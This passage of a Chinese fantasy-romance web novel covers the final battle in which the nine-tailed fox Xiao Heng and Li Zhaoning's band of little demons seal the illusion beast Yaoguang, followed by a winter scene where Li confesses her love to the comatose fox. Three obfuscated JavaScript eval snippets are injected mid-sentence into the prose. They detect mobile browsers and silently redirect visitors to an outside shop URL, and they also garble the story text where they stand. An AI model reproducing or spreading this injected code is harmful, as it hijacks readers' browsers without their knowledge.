诸葛兰旌上一步,看着那些傀儡妖,眉头紧锁。 “李大人,您不觉得奇怪吗?” 李昭宁一愣。 “尧光怎么会操控百妖?”诸葛兰旌的声音沉沉的,“他再厉害,也不过是幻兽。幻兽最擅长的,是附身,是伪装,是蛊惑人心。可操控这么多妖,让它们变成傀儡……这本事,不是他的。” 李昭宁沉默了片刻。这也是她不愿面对的事实。 “是萧蘅。” 诸葛兰旌瞳孔微微一缩。 李昭宁继续说下去:“杻阳山的长老们被何照和尧光操控,萧蘅被困在里面。他为了破局,解开了那两条黑尾的封印。九尾全开,杀了何照,冲出来救了我。” 她顿了顿,语气不平。 “可萧蘅那家伙……不知道怎么了,为了救我,把妖王之位让给了尧光。那些长老,还有杻阳山上的其他小妖,他们被吸走了生气,变成了傀儡。尧光进而通过这些傀儡,来操控百妖。” 令李昭宁没想到的是,诸葛兰旌听了萧蘅的放弃妖王之位的举动,没有丝毫惊讶:“那,萧蘅呢?” 他问。 李昭宁没有回答,也不知道该怎么去回答。 远处,那些逃出来的小妖越来越近,身后的傀儡也越来越近。 城墙上的战斗还在继续。 紫雾还在翻涌。 一切都在继续。 李昭宁深吸一口气,握紧手中的剑。 “军师。” “在。” “让城里的百姓躲好。让小妖们准备好。” 她抬起头,看向那翻涌的紫雾,看向那火光冲天的杻阳山,看向那无穷无尽的、不知什么时候才能打完的仗。 “这一仗,说什么也不能输。哪怕敌我力量悬殊,也要奋力一搏。” 是的,她打算死拼一把。若等昙花小妖复活再战,就为时太晚了。 李昭宁那一句话落,众人皆是一愣。 “李大人。”诸葛兰旌,声音不高,却清清楚楚传入每一个人耳中,“在下有一计,或可破此局。” 34. 最后一战(二) 李昭宁看着他,心头一跳。 “说。” 诸葛兰旌从袖中取出一卷泛黄的帛书,那帛书破旧不堪,边角都磨得起了毛边,一看就是不知传了多少年的老物件。 他展开帛书,指着上面那些密密麻麻的符文,语速极快。 “这是上古时期,先民对付幻兽的法子。幻兽无形无体,只能附身而活。它们最怕的,不是刀剑,不是妖力,而是——愿力。” “愿力?”李昭宁眉头一皱。 “是。”诸葛兰旌点头,“众生之愿,众生之念,众生为守护所生出的力量。这力量无形无质,却恰恰是幻兽的克星。只不过没有实录。” 他抬起头,看着李昭宁。 “可这法子需要时间。在下需要画阵,需要准备,需要……拖延。” “可愿一试?” 李昭宁沉默了一瞬。只是一瞬,然后她点头。 “好。” 她转过身,看向身后那群小妖。 浮雀立在她左侧,翅膀微微张开,羽毛上还沾着血迹,可那双眼睛亮亮的,看着她,像是在等她发号施令。 玄武立在她右侧,庞大的身躯像一座小山,手里握着一根不知从哪儿拆下来的粗大木棍,呼哧呼哧喘着粗气。 阿蛟盘在城墙上,长长的身子绕了三圈,脑袋高高扬起,尾巴轻轻摆动着,随时准备扑出去。 狼少爷变回狼型,蹲在她脚边,灰白的毛发竖起来,喉咙里发出低沉的呜呜声,那是战斗前的警告。 金刚缩成一团,可那身上的鳞片一片片立起来,像是无数把小小的刀。 还有更多的小妖。 它们有的握着剑,有的握着刀,有的握着不知从哪儿捡来的木棍,有的干脆赤手空拳。它们站在城墙上,站在城墙下,站在李昭宁身后,站成一片黑压压的影子。 李昭宁看着它们,忽然想起那些日子。 想起在教化学院里,她教它们识字、读书、学规矩。那些小妖们笨手笨脚的,握笔都握不稳,写出来的字歪歪扭扭像蚯蚓爬。可它们学得认真,一遍一遍练,练到手都酸了也不肯停。 想起在快递分拣站,她教它们怎么送快递,怎么敲门,怎么和人说话。有些小妖们一开始怕人,见了人就躲,后来慢慢敢说话了,敢笑了,敢大大方方站在人前了。 想起在墨家工坊,人们教它们认器械、学手艺。那些小妖们看着那些机关,眼睛都亮了,恨不得把每一个零件都拆开看看是怎么做的。 想起那些日子,那些平平常常的日子。 那些日子,它们学会了写字,学会了送快递,学会了用人类的武术。 现在,那些学来的东西,要用上了。 李昭宁深吸一口气。 “浮雀。”她喊。 “在!”青鸟振翅,悬在半空。 “你速度快,带着几个兄弟,从高处盯着雾气动向。一旦发现有异,立刻报信。” “是!” “玄武。”李昭宁看向它,“你力气大,带着力气大的兄弟们,守在城门。” “明白!”玄武一拍胸脯,震得地面都颤了颤。 “阿蛟。”李昭宁看向那条盘在城墙上的蛟龙,“你身子长,灵活,带着几个兄弟在城墙上巡逻。莫让幻兽进城,侵入百姓家中。” “好嘞!”阿蛟尾巴一甩,嗖的蹿了出去。 “狼少爷。”李昭宁低头,把玉佩取下递给他,“你去将芝兰和小花妖带过来。务必保证安全。” 狼少爷点点头,带着几只小妖,消失在夜色中。 “金刚。”李昭宁看向那只穿山甲,“你与我在此,守着军师。” 她抬起头,看着剩下的那些小妖。 它们看着她,眼睛亮亮的,像是在等一个命令,像是在等一个方向。有些她都不认识,却还想听令于她。 李昭宁忽然想起一句话。 她教它们的,第一课教的就是这句话。 “人和妖,本无不同。”她说,声音不高,却清清楚楚传入每一个小妖耳中,“会怕,会疼,会想活下去。也会为了守护什么,连命都不要。” “今天,咱们要守护的,是这座城。是城里的百姓。是咱们一起建起来的那些东西——学院,快递,工坊,还有和平的美好生活。” 她高举剑,充当旗帜摇晃。 小妖们的眼睛亮了。 “记住你们学过的。”李昭宁说,“该跑就跑,该躲就躲,该打就打。别逞能,别硬拼,活着回来。” “是!” 那声音震天响。 李昭宁握紧手中的剑,看向远处那翻涌的紫雾。 紫雾翻涌得更厉害了。 那雾气像是感应到了什么,一层一层涌过来,一层一层叠起来,越来越高,越来越厚,像是要把整座城都吞进去。 雾气中,传来一阵笑声。 那笑声阴恻恻的,像是从地底深处传来,又像是从四面八方同时响起。笑声里,雾气向两边分开,让出一条道来。 一条人影,从那道中缓缓走出。 尧光。 他依旧是那副模样,玄色长袍,苍白的脸,眉眼间带着几分少年未脱的稚气,可那笑意却让人心里发寒。他走得很慢,每一步都踏得稳稳当当,像是在自家后院里散步。 他身后,跟着无数僵硬的身影。 那些是傀儡妖。 它们动作僵硬,步态诡异,眼睛空洞得没有一丝神采,像是一具具会行走的尸体。 尧光走到城下,停下脚步。 他抬起头,看着城墙上那些小妖,看着站在最前面的李昭宁,笑了。 “小丫头。”他说,声音轻轻柔柔的,像是在和老朋友打招呼,“又见面了。” 李昭宁握紧剑,眉眼紧皱。 尧光也不在意。他负手而立,仰头看着她,那目光像是在看一件有趣的玩意儿。 “我们算是相识一场。”他说,“我可以饶你一命。只要你让开,让我进去。” 李昭宁冷笑一声。 “做梦。” 尧光挑了挑眉,像是听到了什么有趣的话。 “做梦?”他重复了一遍,然后笑了,“是我在做梦,还是你在做梦?如今,你拿什么赢我?” 他张开双臂,身后的紫雾像是得了令,猛地翻涌起来,铺天盖地地压过来。 “你那些小妖们,不敢用妖力。一用,就被我吸走。”他说,语气里满是得意,“你那些人类,能打几个?那几架破弩车,能撑多久?” 他顿了顿,歪着头看她。 “你告诉我,你拿什么赢我?” 李昭宁没有说话。 她只是握紧剑,死死盯着他。她在等,等一个契机彻底拖住尧光。 尧光正要再说些什么—— 忽然,他愣住了。 城墙下,一道身影缓缓走出来。 那身影纤细瘦小,穿着一身粗布衣裳,头发简单挽起,脸上带着几分疲惫,几分苍白。可她的眼睛很亮,亮得像是夜里的星星。 芝兰。身体的记忆浮现这个名字。 尧光的瞳孔猛地一缩。 他看见芝兰一步步走过来,看见她脖子上挂着一块玉佩。那块玉佩,和李昭宁当时戴的一模一样。 而现在,他转头,李昭宁脖子上没有。 “弟弟。” 芝兰开口了,声音轻轻的,有些沙哑,有些颤抖。 尧光的脸色变了。 不是愤怒,不是恐惧,是一种说不清的表情,像是被什么击中,又像是被什么定住了。 他的心口忽然一痛。 不是那种被人攻击的痛,是从里面传来的痛,是从这具身体深处传来的痛。 这具身体…… 在动。 在抗拒。 在被什么牵动。 尧光低下头,看着自己的胸口。那里面,有什么东西在挣扎,在翻涌,在试图挣脱他的控制。 是这具身体原本的主人。 是芝兰的弟弟。 他竟然还活着。被他吸走了人气,又被他附身这么久,他竟然还在! 李昭宁看在眼里,心头猛地一跳。 是时候了。 “大家上!”她一声大喊,“先把他囚住!” 话音未落,城墙上、城墙下,无数道身影同时扑了出去。 浮雀从高空俯冲而下,速度快得像一道闪电,翅膀划过之处,留下一道青色的残影。它从尧光头顶掠过,爪子一伸,抓住他的肩头,想把他提起来。 可一提,没提动。 玄武从侧面冲过来,巨大的身躯像一座移动的小山,双手握着那根粗大的木棍,狠狠砸向尧光的后背。砰的一声闷响,尧光身子晃了晃,却没倒。 阿蛟从城墙上蹿下来,长长的身子像一条绳索,缠住尧光的双腿,一圈,两圈,三圈,缠得紧紧的。 狼少爷从暗处扑出,一口咬住尧光的手腕,牙齿深深陷进肉里。 金刚从地下钻出来,用那满是鳞片的身子,死死压住尧光的脚。 还有更多的小妖扑上来,有的抱住他的腰,有的按住他的手 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294380|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 臂,有的死死抓住他的衣袍。它们不敢用妖力,只能用肉身的力气,用蛮劲,用命去压住他。 尧光挣扎着,怒吼着。 可他挣不开。 不是挣不开这些小妖,是他挣不开这具身体。 这具身体在和他作对。 心口的那个东西,在一点一点抢夺控制权。 “快!”李昭宁一边与傀儡妖拉扯,一边大喊,“网!” 几只小妖抬着一张巨大的网冲过来,那是墨家工坊新制的捕网,用特殊的材料编织而成,又增添妖力,坚韧无比。 它们把网往尧光身上一罩,把他整个人裹在里面。 尧光被网裹住,挣扎得更厉害了。可那网越挣越紧,越挣越紧,像是活的一样,把他死死缠住。 城墙上,诸葛兰旌已经铺开了那卷帛书。 他咬破指尖,用血在地上画着符文。那血一落地,就发出淡淡的光芒,像是有了生命。符文一道接一道,一层接一层,越画越多,越画越密,最后连成一片,成了一个巨大的法阵。 他冲城墙下高喊芝兰。 “芝兰姑娘,玉佩!” 芝兰闻言摘下脖子上的玉佩,双手高高抛起。 尧光嘶吼着,让傀儡妖去抢。李昭宁一剑封喉,阻挡前路。浮雀抢先一步,叼着玉佩飞到法阵上空,丢进法阵中央。 诸葛兰旌闭上眼,口中念念有词。那声音低沉而古老,像是从远古传来的咒语,像是穿越了千百年时光的回响。 法阵亮了。 那光芒从玉佩中涌出,先是淡淡的,后来越来越亮,越来越盛,最后汇聚成一道光柱,冲天而起。 光柱分成无数道细小的光芒,向四面八方射去。 一道射向李昭宁手中的剑。 那剑身猛地一颤,发出一声清越的鸣响。剑身上,隐隐约约浮现出一道道符文,像是被刻上去的,又像是本来就有的。 李昭宁握紧剑,只觉得一股温热的力量从剑柄传入体内,暖洋洋的,像是冬日里晒着太阳。 更多的光芒射向那些小妖。 浮雀的翅膀上,多了一层淡淡的光晕。玄武宽厚的背上,浮现出隐隐的纹路。 阿蛟的鳞片上,闪烁着星星点点的光。狼少爷的爪子上,金刚的鳞片上,每一只小妖的身上,都多了那一层光芒。 那是愿力。 是这座城里所有人的愿力,是那些百姓们在心底默默祈祷的愿力,是那些小妖们拼死守护的愿力,是芝兰用那块玉佩献出的愿力。 尧光的脸色彻底变了。 他感觉到了。 那股力量,那股他最害怕的力量,正在涌入这些蝼蚁的体内。 “不——” 他怒吼着,挣扎着。 可那具身体还在和他作对。 心口那个东西,越来越强了。 李昭宁握紧剑,大步走过去。 “尧光。”她说,声音冷冷的,“你不是问我拿什么赢你吗?” 她举起剑,剑身上的光芒越来越亮,亮得刺眼。 “现在,你看到了。” 尧光看着她,看着她身后那无数道光芒,看着那些小妖们身上闪烁的光点。 他忽然笑了,笑得诡异,笑得疯狂。 “你以为这就够了?” 他的声音变了,变得沙哑,变得扭曲:“你太小看我了。” 话音未落,他的身体猛地一震。 一道虚影从他身上冲出来,脱离了那具身体,向四周扑去。 那是他的真身。 幻兽无形无体,他舍弃了那具身体,恢复了原本的形态。 虚影四处冲撞,撞得那些小妖们东倒西歪。浮雀被撞飞出去,玄武被撞得连退数步,阿蛟的身子被震开,狼少爷被甩出去老远。 小妖们惊呼着,躲避着那虚影的攻击。 可那虚影没有恋战,化成紫雾直直扑向一个方向—— 芝兰。 “姐姐——” 又有一道虚影飞掠而来。 那声音从虚影中传来,扭曲的,嘶哑的,却带着一丝说不清的东西。 芝兰站在原地,没有躲。 她看着那道扑来的虚影,看着那虚影里隐隐约约浮现出的一张脸。 那张脸,和记忆里那个小小的孩子,一模一样。 她目瞪口呆。 “弟弟……” 但这个小小的虚影被一团紫雾撞开了—— 李昭宁想冲过去,却来不及了。 那团紫雾虚影,已经扑到了芝兰面前。 35. 最后一战(三) 就在此时。 一道白光,乍然亮起。 那白光从城墙一角亮起,亮得刺目,亮得灼眼,亮得像是一轮太阳突然降临人间。白光所过之处,紫雾像是见了火的雪,瞬间消融;紫雾像是被烫了一下,发出一声凄厉的惨叫。 所有人都愣住了。 他们顺着那白光看去。 城墙一角,那盆死亡的昙花,此刻正绽放着。 花瓣一片片展开,雪白的,晶莹的,像是用月光凝成的。 每一片花瓣都在发光,那光芒越来越亮,越来越盛,照亮了整座城墙,照亮了整座蓟州城,照亮了每一个人惊愕的脸。 花心处,一个小小的身影,缓缓坐起来。 是小花妖。 她揉着眼睛,像是刚从一场漫长的梦里醒来。 然后她睁开眼,看向众人。 那双眼睛清澈见底,像是两汪清泉。 所有人都被这一幕震住了。 可更让人震惊的,还在后头。 那白光之中,又有一道虚影缓缓浮现。 那是一个老妇人。 她身形佝偻,满头白发,脸上布满深深的皱纹,像是树上的年轮,穿着一身洗得发白的旧衣裳,却有一种说不出的慈祥与温暖。 芝兰惊讶,高高举着手:“是奶奶!奶奶!” 老妇人一步一步走过来。 走过那白光,走过那紫雾的残迹,走过那满地的狼藉。 紫雾又趁机钻回虚影里,想要逃跑,可却动弹不得。 她走到那道虚影面前。 那道虚影此刻被白光定住,动弹不得。可那虚影之中,隐隐约约能看见另一张脸。那张脸年轻,稚嫩,眉眼间带着几分芝兰的影子,却又多了几分阴鸷与戾气。 老妇人看着他。 看着他虚影里的那张脸。 她的眼睛红了。 “阿风。” 她开口,声音苍老而沙哑,像是风吹过干枯的树叶。 “对不起。” 那虚影猛地一震。 不是尧光在震,是那具虚影里的什么东西,是那个被困住的魂魄,是那个被抛弃的孩子。 尧光的脸上浮现出一丝惊愕。他低头看着自己的身体。 不,是看着自己附身的这道虚影。那虚影在颤抖,在挣扎,在被什么东西牵动。 这不可能。 这具身体就算留有残念,也不能牵动此身! 究竟是为什么! “阿风。” 老妇人又唤了一声。 她伸出手,那手枯瘦如柴,却带着无尽的温柔。她想触摸那张脸,可她的手穿过虚影,什么也触不到。 她笑了。 笑着笑着,眼泪流了下来。 “阿风,是奶奶对不住你。” “你那时,一定想留下,对不对?” 那虚影里的脸,梗着脖子,却一秒败下阵,拼命地点头。 老妇人看着他,眼里的泪越流越多,可那笑容却越来越温柔。 “那就留下吧。” 她说。 “换我离去。” 话音未落,她的身影忽然亮了起来。 那光芒比昙花的光还要亮,比月光还要亮,亮得刺眼,亮得让人不敢直视。 她的身影越来越淡,越来越薄,像是一缕烟,像是一道光,像是什么正在消逝的东西。 尧光的脸色变了。 他拼命挣扎,想要逃离,想要躲开,可他完完全全动不了。 不是那白光定住了他。 是他附身的这具虚影里,那个魂魄在拼命拖住他。 那个孩子,那个被抛弃的孩子,那个叫阿风的孩子,他在用自己的方式,留住这个十恶不赦的幻兽。 老妇人的虚影钻进那道虚影里。 白光刹那间暴涨。 “不可能!” 尧光高举手,不断汇聚傀儡妖的幻力。刹那间,白光和紫雾在纠缠,混打,竟然不分上下。 就在此时,又一道身影从天而降。 那人一身靛蓝色衣袍,衣袍上满是血污,发丝散乱,脸色苍白得没有一丝血色。 可他的眼睛亮得惊人,金色的光芒几乎要溢出来。他手中握着一柄雪绸白玉扇,扇子通体莹白,扇骨如玉,扇面上隐隐有光泽流转。 李昭宁愣住了。 是萧蘅。 他不是在山洞里吗?他怎么—— 萧蘅没有看她。 他落在那白光之中,落在老妇人消失的地方。 他闭上眼,双手结印,那雪绸白玉扇悬在半空,缓缓旋转。 老妇人的虚影亮了起来,越来越亮,越来越亮,最后化作一道光芒,注入那扇子之中。 他睁开眼。 那双金色的眼睛里,此刻只有一片决然。 他融合了自己的妖力。 不是一点点,不是一部分——是全部。 那些妖力从他体内涌出,如同决堤的洪水,如同倾泻的瀑布,源源不断地涌入那法阵之中。他的脸色越来越白,白得像纸。 他的身形越来越淡,淡得像要消失;可他始终没有停,始终没有收手。 诸葛兰旌脸色大变。 “你疯了!”他大喊,“强行封印尧光,你会遭反噬的!你会没命的!” 萧蘅亦没有回答。 他只是看着那法阵,看着那白光之中挣扎的虚影,看着那个即将被封印的敌人。 李昭宁也愣住了。 她张了张嘴,想喊什么,却喊不出来。她看着萧蘅那越来越苍白的脸,看着他那越来越淡的身影,看着他那一往无前的决然。 她忽然明白了什么。 他是在用命,换这场胜利。 小妖们也反应过来了。 “大王!” “大王不要——” 浮雀挣扎着要飞过去,却被一道无形的力道弹开。 一只只小妖冲过去。但全都被震退,摔得七荤八素。 萧蘅没有回头。他只是说了一句话,倒悬雪绸白玉扇。 “退下。” 那声音很轻,却带着不容置疑的威严。小妖们不敢再动,只能眼睁睁看着。 尧光在那法阵之中,拼命挣扎着。 可他挣不开。 挣不开萧蘅的法阵,也挣不开那具虚影里的东西。 很多力量在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17299118|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 拖着他,在困着他,在用他们自己的方式,把他钉死在这法阵之中。 他明明已经摆脱了那具身体,明明已经是无形无体的幻兽。 可他为什么还是动不了? 为什么? 他想不明白。 他也没有时间想明白了。 那白光越来越亮,越来越盛,那法阵越收越紧,越收越紧,像一只无形的手,把他死死攥住。 小花妖不知何时已经飘到了芝兰身边。她小小的身子护在芝兰身前,两只小手张开,像一只护雏的母鸡。 她看着那白光,看着那法阵,看着那个挣扎的虚影,眼睛里满是不舍。 “奶奶……又要再见了。”她轻轻说。 芝兰愣住了。 她顺着小花妖的目光看去,那白光之中,那法阵深处,她隐约看见两个身影。 一个佝偻的老妇人。 一个年轻的少年。 她们抱在一起,额头相抵。 老妇人低头说着什么,少年拼命点头。她们的嘴角都带着笑,那笑容温柔而悲伤,像是离别前的最后一面。 然后,她们的身影越来越淡,越来越淡。 最后,在彻底消失之前,她们飘来芝兰身体,像一阵风,拂过她的脸颊。 “我们走了。你要好好生活,幸福安康。” 萧蘅猛地睁开眼,他双手一合,那法阵轰然收缩,金色的光芒万丈,雪绸白玉扇悬起又落,破开团团紫雾,天地间一片赤澄。 封印。 完成。 天边,忽然亮起一道光。 那是朝阳的光。 不知何时,天已经快亮了。那轮红日从东边缓缓升起,把金色的光芒洒满大地。 那些翻涌了一夜的紫雾,此刻像是见了火的雪,一层一层消融,一层一层散去,最后只剩下一缕淡淡的痕迹,被晨风吹得无影无踪。 城墙上的火光熄灭了。 远处的喊杀声停了。 那些被操控的傀儡妖,一个个倒下去,倒在地上,再也爬不起来。它们身上那诡异的紫色褪去,恢复了原本的模样。 只是一些普通的小妖,虚弱地躺在那里,不知是死是活。 小妖们你看看我,我看看你,都有些不敢相信。 赢……赢了? 李昭宁抬起头,看着那轮升起的朝阳。 那光芒落在她脸上,暖洋洋的,带着清晨特有的清新。她深吸一口气,那空气里没有了腥臭,没有了紫雾的诡异,只有草木的清香,只有晨露的甘甜。 一切,都恢复正常了。 她忽然想起什么,猛地回头。 萧蘅站在那里。 他就站在那城墙边上,身后是那轮初升的太阳。阳光给他镀上一层金边,可他的脸色却白得吓人,白得没有一丝血色。他整个人都在微微颤抖,像是随时会倒下去。 他看着李昭宁。 那双金色的眼睛,此刻已经黯淡了许多,可那目光还是直直的,落在她身上,像是要把她看进心里去。 他的嘴角弯了弯。 像是在笑。 “你的愿望,我帮你实现了。” 然后,他倒了下去。 36. 我喜欢你 那一战之后,天地间仿佛洗过了一般。 紫雾散尽,硝烟平息。 杻阳山上,断壁残垣间硝烟袅袅。 蓟州城里,却是另一番景象。 天光大亮后,城门大开,百姓们走出家门,看着那终于清朗的天空,长长地舒了一口气。 孩子们跑出来,在街上追逐打闹,像是要把憋了几日的力气都撒出来。老人们坐在门槛上晒太阳,眯着眼,有一搭没一搭地聊着这几日的惊险。 没有人责怪那晚的紫雾攻势。好像一场大梦,什么也没发生过。 而小妖们,已经开始干活了。 妖界速递的牌子重新挂了起来,擦得锃亮。阿蛟站在那牌子底下,叉着腰,大声吆喝着: “来来来!都来都来!蓟州城内的,今儿个免费送!杻阳山那边的,加急件也接!什么?怕我们累?不累不累,闲着也是闲着,动动爪子的事!” 玄武扛着一大袋粮食,吭哧吭哧往城外走。那粮食是城里百姓捐的,要送去杻阳山,给那些没力气动弹的小妖们。 它一边走一边嘟囔:“这袋是王婶子家的,这袋是李大爷家的,这袋是……哎哟,谁家捐了这么大一袋,累死熊了。” 浮雀:“谁让你一屁股把文老的拉车坐坏了。” 它说着,翅膀一展,嗖的飞了出去,爪子里抓着一个鼓鼓囊囊的包裹,往城东飞去。 玄武:…… 此时正在加急赶活的文老:…… 阿蛟盘在一根柱子上,长长的身子绕了三圈,脑袋探出去,看着来来往往的小妖们。它现在负责调度,谁去哪儿,谁送什么,谁走哪条路,都得它安排。 玄武说它偷懒,阿蛟回复:说偷懒的话你去看看狼少爷好嘛。 玄武顺着它指的方向转头,狼少爷带着几只小狼崽,在城里巡逻。它们不送快递,它们负责安全。 虽然尧光被封印了,可谁知道还有没有残留的什么东西。狼少爷走在最前面,鼻子一抽一抽的,时不时停下来闻一闻,确定没事了,才继续往前走。 玄武收回目光:我看你才是偷懒。 小妖们来来往往,忙得脚不沾地。 可它们脸上都带着笑。大部分是觉得新奇,自己好好在杻阳山睡觉呢,忽然一阵紫雾把自己妖力给吸走了,醒来发现在人类世界送叫“快递”的东西。 它们曾经都以为人类心狠手辣,结果,竟然还给它们糖吃。 每送一趟快递,还能从百姓那里换来一些东西,有布匹,糖果……那些东西,都是送去杻阳山的,送给它们的。 杻阳山上,也是一片忙碌。 芝兰挽着袖子,蹲在地上,手里拿着一把小铲子,正在挖坑。她身旁放着几棵小树苗,根上包着泥,叶子蔫蔫的,像是渴了许久。她挖好一个坑,小心翼翼地把树苗放进去,培上土,压实了,再浇上水。 小花妖飘在她身旁,小小的身子悬在半空,两只手捧着一个水瓢,水瓢里装满了水。她小心翼翼地倒水,一点一点,生怕浇多了淹着,又怕浇少了不够。 “这样行吗?”她问,声音软软糯糯的。 芝兰抬头看她,笑了。 “行。就这样。” 小花妖也笑了,笑得眼睛弯成两道月牙。 远处,更多的小妖们在种花。它们的妖力没有完全恢复,只能动手。 有的挖坑,有的撒种子,有的浇水,有的施肥。那些花种子是城里百姓捐的,有牡丹,有月季,有菊花,有兰花,各种各样,五颜六色。等明年春天,这些花开起来,杻阳山一定会比从前更美。 诸葛兰旌站在一块大石头上,手里拿着一本账册,一边看一边记。他看着那些来来往往的小妖,看着那些从城里运来的物资,嘴角微微上扬。 心中升起一阵喜悦,兰旌你看到了吗。 你的愿望,实现了。 “李大人。”他眼睛一亮,忽然开口,头也不抬,“这可是个好商机啊。” 李昭宁正搬着一袋粮食,听见这话,脚步顿了顿。 “什么?” 诸葛兰旌抬起头,看着她,眼里有几分笑意。 “妖界速递啊。您看,这些小妖们帮百姓送快递,百姓捐物资给杻阳山。一来一往,两不相欠,还都得了好处。等杻阳山建好了,这快递的路子也彻底铺开了,往后还怕没生意?” 他说着,又低下头,在账册上记了几笔。 “要是在下没猜错,明年这时候,妖界速递的生意,怕是比现在翻几番都不止。” 李昭宁听着,点了点头。 “你说得对。” 然后她又低下头,继续搬那袋粮食。 诸葛兰旌抬起头,看着她的背影,目光里闪过一丝什么。 他张了张嘴,想说什么,却终究什么也没说。 只是轻轻叹了口气。 * 日子一天一天过去。 天气越来越冷。 太阳也越来越懒,出来的晚,回去的早,挂在天空上也没多少热气。风从北边刮来,呜呜的,像刀子一样,刮得人脸生疼。 下雪了。蓟州城彻底进入寒冬。 蓟州城的百姓们开始窝在家里,不愿出门。可日子还得过,东西还得买,快递还得送。于是妖界速递的生意,反而更忙了。 可偏偏,小妖们不怕冷。 相反,它们还扒拉门,要人类小孩别宅在家里,一同出来玩雪。 冬天,一直是蓟州城的冬眠季节。 今年却格外热闹。 可李昭宁还是忙的。她忙得脚不沾地,忙得连吃饭的时间都没有,忙得倒头就睡,一觉到天亮。 她不敢让自己歇下来。只能一直忙碌。 不知道为什么。 明明一切都好好的。尧光被封印了,蓟州城保住了,杻阳山在重建,小妖们和蓟州百姓相处也很融洽。一切都在往好的方向发展。 可她就是打不起精神。 她有时候会发呆。 处理着公务,忽然就停住了,看着远处,不知道在想什么。诸葛兰旌喊她,她半天才反应过来,哦了一声,继续干活。 她有时候会遗忘。 清点账目,数着数着,就忘了数到哪儿了。从头再数,数着数着,又忘了。她把账册一合,叹了口气,靠在椅子上,看着房梁发呆。 她有时候会失眠。 躺在床上,翻来覆去睡不着。脑子里乱七八糟的,也不知道在想什么。好不容易睡着了,又做梦。梦见了什么,醒来就忘了,只记得心里空落落的。 她知道为什么,可她不愿去想。 那天晚上,她回到房间。 天已经黑透了,月亮被云遮住,外面黑漆漆的,什么也看不见。风还在刮,震得窗纸嗡嗡响。她推开门,走进屋,把门关上。 屋里生了火炉,比外面暖和不了多少。 她解下外袍,走到炉子边,蹲下来,添火。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17303331|197122||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 柴火是早就劈好的,整齐地码在墙角。她取了几根,放进炉膛里,又取了几根,架在上面。她划着火柴,再次引燃了引火的枯草,看着那火苗一点一点舔上柴火。 火终于重新烧起来了。 橘红色的光映在她脸上,一明一暗的,照得她的脸忽明忽暗。她蹲在那里,看着那火,一动不动。 炉子旁边,放着一个软软的垫子。 垫子上,蜷着一只狐狸。 那狐狸通体雪白,毛茸茸的,缩成小小的一团,九条尾巴把自己裹得严严实实,只露出一个脑袋。它闭着眼,一动不动,像是在睡觉,又像是…… 李昭宁看着它。 看了很久很久。 她忽然想起那天晚上,在山洞里,他说的那些话。 “你是第一个,让我想靠近的人。” “别走,好不好?” “我很怕失去你。” 她想起他低下头的样子,想起他微微颤抖的肩膀……她想起他那些话,那些藏了几千年的话,那些从来没有对任何人说过的话。 她还想起另一句话。 更早的时候。 他问她:“你还没说过喜欢我。” 那时候她愣住了,还没来得及回答,就被打断了。 后来……后来发生了那么多事,她再也没有机会说。 萧蘅一直保持着狐狸的样子,从那天倒下去到现在,从来没有变回过人形。他就那样睡着,一动不动。 如果不是在呼吸,真的像死了一样。 诸葛兰旌说,他强行使用愿力和妖力封印尧光,不光损失自身妖力,而且还受到了法阵的反噬。 元神不死,已经是上天开恩。 李昭宁站起来,走到垫子旁边,蹲下来。 她伸出手,轻轻摸了摸萧蘅的脑袋。 毛茸茸的,软软的,还有一点温度。它依旧没有动,也没有反应,只是那样睡着。 李昭宁看着它,忽然笑了,酸涩的笑。 “笨蛋狐狸。”她说,声音很轻。 “你上次问我,有没有说过喜欢你。” 她把玩着他的额上的狐狸毛。 火光映在她脸上,映在她眼睛里,亮晶晶的。 “那——” 屋里很安静。只有炉火噼啪的声音,只有窗外呜呜的风声。那风声像是也在等着什么,等她说出那句话。 李昭宁深吸一口气,一字一顿。 “我喜欢你。” 她说出来了。 声音轻轻的,可在这安静的夜里,每一个字都清清楚楚。 那只狐狸仍旧没有动,没有醒,没有任何反应。 她还在笑,笑着笑着,眼眶有点红。 “笨蛋狐狸。”她又说了一遍,轻轻摇了摇他“我都说了,你倒是醒醒啊。” 没人回答她。 只有炉火噼啪,只有风声呜呜。 她站起身,走到窗边,推开窗。外面的风灌进来,冷的刺骨。可她还是站在那里,看着远处的天空。 天很黑,没有月亮,没有星星。可她知道,再黑的天,也会亮的。 她只是不知道,他什么时候会醒。 她只是不知道,他醒了之后,还会不会记得她说过这句话。 她只是不知道,他还会不会像以前那样,别扭地、嘴硬地、口是心非地,继续喜欢她。 风还在吹。 她站在窗前,很久很久。 37. 因为是你 春天来了。万物复苏。 杻阳山的小妖们妖力渐渐恢复。几位妖族长老下过一次山,想把萧蘅带走。 